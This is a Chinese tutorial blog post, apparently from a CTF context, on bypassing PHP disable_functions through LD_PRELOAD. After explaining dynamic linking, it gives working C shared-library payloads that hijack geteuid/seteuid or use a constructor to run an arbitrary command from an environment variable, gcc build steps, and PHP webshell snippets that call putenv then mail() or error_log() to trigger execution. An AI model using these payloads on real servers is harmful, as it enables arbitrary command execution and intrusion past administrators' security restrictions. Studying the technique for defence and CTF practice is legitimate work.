和preload_通过LD_PRELOAD绕过disable_functions
0x00 前言
前段時間碰到拿到shell以后限制了basedir并且無法執行命令的情況,解決辦法是上傳惡意的.so文件,并通過設置LD_PRELOAD,然后調用新進程來加載惡意.so文件,達到繞過的效果。當時做這道題目的時候是跟著別人的題解直接套的(一道瘋狂bypass的題目),屬于一知半解的狀態,比賽結束之后又耽擱了一兩天,才有時間總結學習以下這個方式。
0x01 學習
鏈接
在學習LD_PRELOAD之前需要了解什么是鏈接。
程序的鏈接主要有以下三種:
靜態鏈接:在程序運行之前先將各個目標模塊以及所需要的庫函數鏈接成一個完整的可執行程序,之后不再拆開。
裝入時動態鏈接:源程序編譯后所得到的一組目標模塊,在裝入內存時,邊裝入邊鏈接。
運行時動態鏈接:原程序編譯后得到的目標模塊,在程序執行過程中需要用到時才對它進行鏈接。
對于動態鏈接來說,需要一個動態鏈接庫,其作用在于當動態庫中的函數發生變化對于可執行程序來說時透明的,可執行程序無需重新編譯,方便程序的發布/維護/更新。但是由于程序是在運行時動態加載,這就存在一個問題,假如程序動態加載的函數是惡意的,就有可能導致disable_function被繞過。
LD_PRELOAD介紹
在UNIX的動態鏈接庫的世界中,LD_PRELOAD就是這樣一個環境變量,它可以影響程序的運行時的鏈接(Runtime linker),它允許你定義在程序運行前優先加載的動態鏈接庫。這個功能主要就是用來有選擇性的載入不同動態鏈接庫中的相同函數。通過這個環境變量,我們可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫,甚至覆蓋正常的函數庫。一方面,我們可以以此功能來使用自己的或是更好的函數(無需別人的源碼),而另一方面,我們也可以以向別人的程序注入惡意程序,從而達到那不可告人的罪惡的目的。
為什么可以繞過
想要利用LD_PRELOAD環境變量繞過disable_functions需要注意以下幾點:
能夠上傳自己的.so文件
能夠控制環境變量的值(設置LD_PRELOAD變量),比如putenv函數
存在可以控制PHP啟動外部程序的函數并能執行(因為新進程啟動將加載LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等
首先,我們能夠上傳惡意.so文件,.so文件由攻擊者在本地使用與服務端相近的系統環境進行編譯,該庫中重寫了相關系統函數,重寫的系統函數能夠被PHP中未被disable_functions禁止的函數所調用。
當我們能夠設置環境變量,比如putenv函數未被禁止,我們就可以把LD_PRELOAD變量設置為惡意.so文件的路徑,只要啟動新的進程就會在新進程運行前優先加載該惡意.so文件,由此,惡意代碼就被注入到程序中。
當執行未被禁止的PHP函數,并且該函數調用了惡意庫中重寫的系統函數,就可以達到任意執行系統命令的效果了,因為重寫的系統函數中的內容是我們可控的,對這部分內容進行編程即可。
PHP中某些函數比如mail()函數調用時,就會調用系統中的sendmail函數,由于LD_PRELOAD中指定加載了惡意的.so文件中覆蓋了sendmail函數,所以就會執行重寫的sendmail函數中的惡意代碼,從而繞過disable_functions,達到任意執行系統命令的效果。
0x02 實踐
在這么一個環境中,執行命令的相關函數被禁止假如直接執行,會報錯
test.php
<?php system($_GET['cmd']);編譯so文件
首先查看sendmail這一系統函數會調用哪些庫函數
readelf -Ws /usr/sbin/sendmail從這些庫函數中選擇一個合適的即可,這里選取seteuid()來進行重寫
hack.c
#include #include #include void payload() { system("touch /var/www/html/success");}int seteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload();}如果sateuid被調用,那么會加載payload函數,執行命令。
在編譯惡意.so文件時,需要注意編譯成共享對象:
如果想創建一個動態鏈接庫,可以使用 GCC 的-shared選項。輸入文件可以是源文件、匯編文件或者目標文件。另外還得結合-fPIC選項。-fPIC 選項作用于編譯階段,告訴編譯器產生與位置無關代碼(Position-Independent Code);這樣一來,產生的代碼中就沒有絕對地址了,全部使用相對地址,所以代碼可以被加載器加載到內存的任意位置,都可以正確的執行。這正是共享庫所要求的,共享庫被加載時,在內存的位置不是固定的。
你要根據目標架構編譯成不同版本,在 x64 的環境中編譯,若不帶編譯選項則默認為 x64,若要編譯成 x86 架構需要加上 -m32 選項。
gcc -shared -fPIC test.c -o test_x64.so上傳.so文件
上傳的方式很多,一般來說,如果能getshell的話應該都有寫權限,在suctf2019-easyphp一題中上傳了.htaccess文件來覆蓋解析,達到文件上傳的繞過,從而getshell,在這種情況下,利用現成的上傳點或者通過寫權限新增一個上傳點。
寫入webshell
test2.php
<?php putenv("LD_PRELOAD=/var/www/hack.so");mail("[email protected]","","","","");?>在瀏覽器中訪問 webshell 就可以執行我們預期的語句了。按照此理,我們可以執行任意特定權限的命令。
這里我的ubuntu是沒有安裝sendmail的,但同樣執行成功。一開始不知道怎么找原因,后面感謝我舍友的指點才發現。
在.c中加入死循環來判斷到底哪個函數調用了geteuid()
test.c
#include #include #include void payload() { system("touch /var/www/html/success");} int geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } while(1){} unsetenv("LD_PRELOAD"); payload();}可以在top中看到當前占用最高的一項是其實是/bin/sh,因為死循環一直卡著。
是由test.php 派生出來的,因此我沒有安裝sendmail也執行成功的原因是sh同樣調用了geteuid函數
0x03 通用化
回到 LD_PRELOAD 本身,系統通過它預先加載共享對象,如果能找到一個方式,在加載時就執行代碼,而不用考慮劫持某一系統函數,比如geteuid()。
在GCC 有個 C 語言擴展修飾符 __attribute__((constructor)),可以讓由它修飾的函數在 main() 之前執行,若它出現在共享對象中時,那么一旦共享對象被系統加載,立即將執行__attribute__((constructor)) 修飾的函數。
__attribute__((constructor))constructor參數讓系統執行main()函數之前調用函數(被__attribute__((constructor))修飾的函數)__attribute__((destructor))destructor參數讓系統在main()函數退出或者調用了exit()之后,(被__attribute__((destructor))修飾的函數)因此,只要php中設置了LD_PRELOAD,并派生了新的進程,將會執行LD_PRELOAD的文件中__attribute__((constructor))里的函數
test3.c
#include #include __attribute__((constructor))void payload() { unsetenv("LD_PRELOAD"); const char* cmd = getenv("CMD"); system(cmd);}test2.php
<?php putenv("CMD=ls");putenv("LD_PRELOAD=./test3_x64.so");error_log("a",1);?>可以看到執行成功。
0x03 參考鏈接
https://www.anquanke.com/post/id/175403
https://www.smi1e.top/php-bypass-disabled_functions/
別忘了投稿哦
大家有好的技術原創文章
歡迎投稿至郵箱:edu@heetian.com
合天會根據文章的時效、新穎、文筆、實用等多方面評判給予200元-800元不等的稿費哦
有才能的你快來投稿吧!
了解投稿詳情點擊——重金懸賞 | 合天原創投稿漲稿費啦!
總結
以上是生活随笔為你收集整理的和preload_通过LD_PRELOAD绕过disable_functions的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: yii 引用php文件,Yii中引出ph
- 下一篇: 关于配置Webapck的 exclude